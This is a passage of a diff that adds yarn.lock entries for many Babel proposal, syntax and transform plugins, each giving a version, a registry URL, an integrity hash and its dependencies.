+ integrity sha512-b1AM4F6fwck4N8ItZ/AtC4FP/cqZqmKRQ4FaTDutwSYyjuhtvsGEMLK4N/ztV/ImP40BjIDyMgBQAeAMsQYVFQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-remap-async-to-generator" "^7.13.0"
+ "@babel/plugin-syntax-async-generators" "^7.8.4"
+
+"@babel/plugin-proposal-class-properties@^7.1.0", "@babel/plugin-proposal-class-properties@^7.12.1", "@babel/plugin-proposal-class-properties@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.13.0.tgz#146376000b94efd001e57a40a88a525afaab9f37"
+ integrity sha512-KnTDjFNC1g+45ka0myZNvSBFLhNCLN+GeGYLDEA8Oq7MZ6yMgfLoIRh86GRT0FjtJhZw8JyUskP9uvj5pHM9Zg==
+ dependencies:
+ "@babel/helper-create-class-features-plugin" "^7.13.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-proposal-class-static-block@^7.14.3":
+ version "7.14.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.14.3.tgz#5a527e2cae4a4753119c3a3e7f64ecae8ccf1360"
+ integrity sha512-HEjzp5q+lWSjAgJtSluFDrGGosmwTgKwCXdDQZvhKsRlwv3YdkUEqxNrrjesJd+B9E9zvr1PVPVBvhYZ9msjvQ==
+ dependencies:
+ "@babel/helper-create-class-features-plugin" "^7.14.3"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-class-static-block" "^7.12.13"
+
+"@babel/plugin-proposal-decorators@^7.12.12":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.14.2.tgz#e68c3c5e4a6a08834456568256fc3e71b93590cf"
+ integrity sha512-LauAqDd/VjQDtae58QgBcEOE42NNP+jB2OE+XeC3KBI/E+BhhRjtr5viCIrj1hmu1YvrguLipIPRJZmS5yUcFw==
+ dependencies:
+ "@babel/helper-create-class-features-plugin" "^7.14.2"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-decorators" "^7.12.13"
+
+"@babel/plugin-proposal-dynamic-import@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.14.2.tgz#01ebabd7c381cff231fa43e302939a9de5be9d9f"
+ integrity sha512-oxVQZIWFh91vuNEMKltqNsKLFWkOIyJc95k2Gv9lWVyDfPUQGSSlbDEgWuJUU1afGE9WwlzpucMZ3yDRHIItkA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-dynamic-import" "^7.8.3"
+
+"@babel/plugin-proposal-export-default-from@^7.12.1":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-default-from/-/plugin-proposal-export-default-from-7.12.13.tgz#f110284108a9b2b96f01b15b3be9e54c2610a989"
+ integrity sha512-idIsBT+DGXdOHL82U+8bwX4goHm/z10g8sGGrQroh+HCRcm7mDv/luaGdWJQMTuCX2FsdXS7X0Nyyzp4znAPJA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+ "@babel/plugin-syntax-export-default-from" "^7.12.13"
+
+"@babel/plugin-proposal-export-namespace-from@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.14.2.tgz#62542f94aa9ce8f6dba79eec698af22112253791"
+ integrity sha512-sRxW3z3Zp3pFfLAgVEvzTFutTXax837oOatUIvSG9o5gRj9mKwm3br1Se5f4QalTQs9x4AzlA/HrCWbQIHASUQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
+
+"@babel/plugin-proposal-json-strings@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.14.2.tgz#830b4e2426a782e8b2878fbfe2cba85b70cbf98c"
+ integrity sha512-w2DtsfXBBJddJacXMBhElGEYqCZQqN99Se1qeYn8DVLB33owlrlLftIbMzn5nz1OITfDVknXF433tBrLEAOEjA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-json-strings" "^7.8.3"
+
+"@babel/plugin-proposal-logical-assignment-operators@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.14.2.tgz#222348c080a1678e0e74ea63fe76f275882d1fd7"
+ integrity sha512-1JAZtUrqYyGsS7IDmFeaem+/LJqujfLZ2weLR9ugB0ufUPjzf8cguyVT1g5im7f7RXxuLq1xUxEzvm68uYRtGg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
+
+"@babel/plugin-proposal-nullish-coalescing-operator@^7.12.1", "@babel/plugin-proposal-nullish-coalescing-operator@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.14.2.tgz#425b11dc62fc26939a2ab42cbba680bdf5734546"
+ integrity sha512-ebR0zU9OvI2N4qiAC38KIAK75KItpIPTpAtd2r4OZmMFeKbKJpUFLYP2EuDut82+BmYi8sz42B+TfTptJ9iG5Q==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+
+"@babel/plugin-proposal-numeric-separator@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.14.2.tgz#82b4cc06571143faf50626104b335dd71baa4f9e"
+ integrity sha512-DcTQY9syxu9BpU3Uo94fjCB3LN9/hgPS8oUL7KrSW3bA2ePrKZZPJcc5y0hoJAM9dft3pGfErtEUvxXQcfLxUg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+
+"@babel/plugin-proposal-object-rest-spread@7.12.1":
+ version "7.12.1"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.12.1.tgz#def9bd03cea0f9b72283dac0ec22d289c7691069"
+ integrity sha512-s6SowJIjzlhx8o7lsFx5zmY4At6CTtDvgNQDdPzkBQucle58A6b/TTeEBYtyDgmcXjUTM+vE8YOGHZzzbc/ioA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.10.4"
+ "@babel/plugin-syntax-object-rest-spread" "^7.8.0"
+ "@babel/plugin-transform-parameters" "^7.12.1"
+
+"@babel/plugin-proposal-object-rest-spread@^7.0.0", "@babel/plugin-proposal-object-rest-spread@^7.12.1", "@babel/plugin-proposal-object-rest-spread@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.14.4.tgz#0e2b4de419915dc0b409378e829412e2031777c4"
+ integrity sha512-AYosOWBlyyXEagrPRfLJ1enStufsr7D1+ddpj8OLi9k7B6+NdZ0t/9V7Fh+wJ4g2Jol8z2JkgczYqtWrZd4vbA==
+ dependencies:
+ "@babel/compat-data" "^7.14.4"
+ "@babel/helper-compilation-targets" "^7.14.4"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
+ "@babel/plugin-transform-parameters" "^7.14.2"
+
+"@babel/plugin-proposal-optional-catch-binding@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.14.2.tgz#150d4e58e525b16a9a1431bd5326c4eed870d717"
+ integrity sha512-XtkJsmJtBaUbOxZsNk0Fvrv8eiqgneug0A6aqLFZ4TSkar2L5dSXWcnUKHgmjJt49pyB/6ZHvkr3dPgl9MOWRQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
+
+"@babel/plugin-proposal-optional-chaining@^7.12.7", "@babel/plugin-proposal-optional-chaining@^7.13.12", "@babel/plugin-proposal-optional-chaining@^7.14.2":
+ version "7.14.2"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.14.2.tgz#df8171a8b9c43ebf4c1dabe6311b432d83e1b34e"
+ integrity sha512-qQByMRPwMZJainfig10BoaDldx/+VDtNcrA7qdNaEOAj6VXud+gfrkA8j4CRAU5HjnWREXqIpSpH30qZX1xivA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
+ "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+
+"@babel/plugin-proposal-private-methods@^7.12.1", "@babel/plugin-proposal-private-methods@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.13.0.tgz#04bd4c6d40f6e6bbfa2f57e2d8094bad900ef787"
+ integrity sha512-MXyyKQd9inhx1kDYPkFRVOBXQ20ES8Pto3T7UZ92xj2mY0EVD8oAVzeyYuVfy/mxAdTSIayOvg+aVzcHV2bn6Q==
+ dependencies:
+ "@babel/helper-create-class-features-plugin" "^7.13.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-proposal-private-property-in-object@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.14.0.tgz#b1a1f2030586b9d3489cc26179d2eb5883277636"
+ integrity sha512-59ANdmEwwRUkLjB7CRtwJxxwtjESw+X2IePItA+RGQh+oy5RmpCh/EvVVvh5XQc3yxsm5gtv0+i9oBZhaDNVTg==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ "@babel/helper-create-class-features-plugin" "^7.14.0"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
+
+"@babel/plugin-proposal-unicode-property-regex@^7.12.13", "@babel/plugin-proposal-unicode-property-regex@^7.4.4":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz#bebde51339be829c17aaaaced18641deb62b39ba"
+ integrity sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg==
+ dependencies:
+ "@babel/helper-create-regexp-features-plugin" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-async-generators@^7.8.4":
+ version "7.8.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
+ integrity sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-class-properties@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
+ integrity sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-class-static-block@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.12.13.tgz#8e3d674b0613e67975ceac2776c97b60cafc5c9c"
+ integrity sha512-ZmKQ0ZXR0nYpHZIIuj9zE7oIqCx2hw9TKi+lIo73NNrMPAZGHfS92/VRV0ZmPj6H2ffBgyFHXvJ5NYsNeEaP2A==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-decorators@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.12.13.tgz#fac829bf3c7ef4a1bc916257b403e58c6bdaf648"
+ integrity sha512-Rw6aIXGuqDLr6/LoBBYE57nKOzQpz/aDkKlMqEwH+Vp0MXbG6H/TfRjaY343LKxzAKAMXIHsQ8JzaZKuDZ9MwA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-dynamic-import@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
+ integrity sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-export-default-from@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-default-from/-/plugin-syntax-export-default-from-7.12.13.tgz#3c807d37efaf0a806f1deb556ccb3b2f562ae9c2"
+ integrity sha512-gVry0zqoums0hA+EniCYK3gABhjYSLX1dVuwYpPw9DrLNA4/GovXySHVg4FGRsZht09ON/5C2NVx3keq+qqVGQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-export-namespace-from@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a"
+ integrity sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.3"
+
+"@babel/plugin-syntax-flow@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.12.13.tgz#5df9962503c0a9c918381c929d51d4d6949e7e86"
+ integrity sha512-J/RYxnlSLXZLVR7wTRsozxKT8qbsx1mNKJzXEEjQ0Kjx1ZACcyHgbanNWNCFtc36IzuWhYWPpvJFFoexoOWFmA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-json-strings@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
+ integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-jsx@7.12.1":
+ version "7.12.1"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz#9d9d357cc818aa7ae7935917c1257f67677a0926"
+ integrity sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-jsx@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz#044fb81ebad6698fe62c478875575bcbb9b70f15"
+ integrity sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-logical-assignment-operators@^7.10.4":
+ version "7.10.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
+ integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
+ integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-numeric-separator@^7.10.4":
+ version "7.10.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
+ integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.10.4"
+
+"@babel/plugin-syntax-object-rest-spread@7.8.3", "@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
+ integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-catch-binding@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
+ integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-optional-chaining@^7.8.3":
+ version "7.8.3"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
+ integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.8.0"
+
+"@babel/plugin-syntax-private-property-in-object@^7.14.0":
+ version "7.14.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.0.tgz#762a4babec61176fec6c88480dec40372b140c0b"
+ integrity sha512-bda3xF8wGl5/5btF794utNOL0Jw+9jE5C1sLZcoK7c4uonE/y3iQiyG+KbkF3WBV/paX58VCpjhxLPkdj5Fe4w==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-syntax-top-level-await@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz#c5f0fa6e249f5b739727f923540cf7a806130178"
+ integrity sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-syntax-typescript@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.12.13.tgz#9dff111ca64154cef0f4dc52cf843d9f12ce4474"
+ integrity sha512-cHP3u1JiUiG2LFDKbXnwVad81GvfyIOmCD6HIEId6ojrY0Drfy2q1jw7BwN7dE84+kTnBjLkXoL3IEy/3JPu2w==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-arrow-functions@^7.12.1", "@babel/plugin-transform-arrow-functions@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.13.0.tgz#10a59bebad52d637a027afa692e8d5ceff5e3dae"
+ integrity sha512-96lgJagobeVmazXFaDrbmCLQxBysKu7U6Do3mLsx27gf5Dk85ezysrs2BZUpXD703U/Su1xTBDxxar2oa4jAGg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-async-to-generator@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.13.0.tgz#8e112bf6771b82bf1e974e5e26806c5c99aa516f"
+ integrity sha512-3j6E004Dx0K3eGmhxVJxwwI89CTJrce7lg3UrtFuDAVQ/2+SJ/h/aSFOeE6/n0WB1GsOffsJp6MnPQNQ8nmwhg==
+ dependencies:
+ "@babel/helper-module-imports" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-remap-async-to-generator" "^7.13.0"
+
+"@babel/plugin-transform-block-scoped-functions@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz#a9bf1836f2a39b4eb6cf09967739de29ea4bf4c4"
+ integrity sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-block-scoping@^7.12.12", "@babel/plugin-transform-block-scoping@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.14.4.tgz#caf140b0b2e2462c509553d140e6d0abefb61ed8"
+ integrity sha512-5KdpkGxsZlTk+fPleDtGKsA+pon28+ptYmMO8GBSa5fHERCJWAzj50uAfCKBqq42HO+Zot6JF1x37CRprwmN4g==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-classes@^7.12.1", "@babel/plugin-transform-classes@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.14.4.tgz#a83c15503fc71a0f99e876fdce7dadbc6575ec3a"
+ integrity sha512-p73t31SIj6y94RDVX57rafVjttNr8MvKEgs5YFatNB/xC68zM3pyosuOEcQmYsYlyQaGY9R7rAULVRcat5FKJQ==
+ dependencies:
+ "@babel/helper-annotate-as-pure" "^7.12.13"
+ "@babel/helper-function-name" "^7.14.2"
+ "@babel/helper-optimise-call-expression" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/helper-replace-supers" "^7.14.4"
+ "@babel/helper-split-export-declaration" "^7.12.13"
+ globals "^11.1.0"
+
+"@babel/plugin-transform-computed-properties@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.13.0.tgz#845c6e8b9bb55376b1fa0b92ef0bdc8ea06644ed"
+ integrity sha512-RRqTYTeZkZAz8WbieLTvKUEUxZlUTdmL5KGMyZj7FnMfLNKV4+r5549aORG/mgojRmFlQMJDUupwAMiF2Q7OUg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-destructuring@^7.12.1", "@babel/plugin-transform-destructuring@^7.14.4":
+ version "7.14.4"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.14.4.tgz#acbec502e9951f30f4441eaca1d2f29efade59ed"
+ integrity sha512-JyywKreTCGTUsL1OKu1A3ms/R1sTP0WxbpXlALeGzF53eB3bxtNkYdMj9SDgK7g6ImPy76J5oYYKoTtQImlhQA==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-dotall-regex@^7.12.13", "@babel/plugin-transform-dotall-regex@^7.4.4":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz#3f1601cc29905bfcb67f53910f197aeafebb25ad"
+ integrity sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ==
+ dependencies:
+ "@babel/helper-create-regexp-features-plugin" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-duplicate-keys@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz#6f06b87a8b803fd928e54b81c258f0a0033904de"
+ integrity sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-exponentiation-operator@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz#4d52390b9a273e651e4aba6aee49ef40e80cd0a1"
+ integrity sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA==
+ dependencies:
+ "@babel/helper-builder-binary-assignment-operator-visitor" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-flow-strip-types@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.13.0.tgz#58177a48c209971e8234e99906cb6bd1122addd3"
+ integrity sha512-EXAGFMJgSX8gxWD7PZtW/P6M+z74jpx3wm/+9pn+c2dOawPpBkUX7BrfyPvo6ZpXbgRIEuwgwDb/MGlKvu2pOg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+ "@babel/plugin-syntax-flow" "^7.12.13"
+
+"@babel/plugin-transform-for-of@^7.12.1", "@babel/plugin-transform-for-of@^7.13.0":
+ version "7.13.0"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.13.0.tgz#c799f881a8091ac26b54867a845c3e97d2696062"
+ integrity sha512-IHKT00mwUVYE0zzbkDgNRP6SRzvfGCYsOxIRz8KsiaaHCcT9BWIkO+H9QRJseHBLOGBZkHUdHiqj6r0POsdytg==
+ dependencies:
+ "@babel/helper-plugin-utils" "^7.13.0"
+
+"@babel/plugin-transform-function-name@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz#bb024452f9aaed861d374c8e7a24252ce3a50051"
+ integrity sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ==
+ dependencies:
+ "@babel/helper-function-name" "^7.12.13"
+ "@babel/helper-plugin-utils" "^7.12.13"
+
+"@babel/plugin-transform-literals@^7.12.13":
+ version "7.12.13"
+ resolved "https://registry.yarnpkg.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz#2ca45bafe4a820197cf315794a4d26560fe4bdb9"
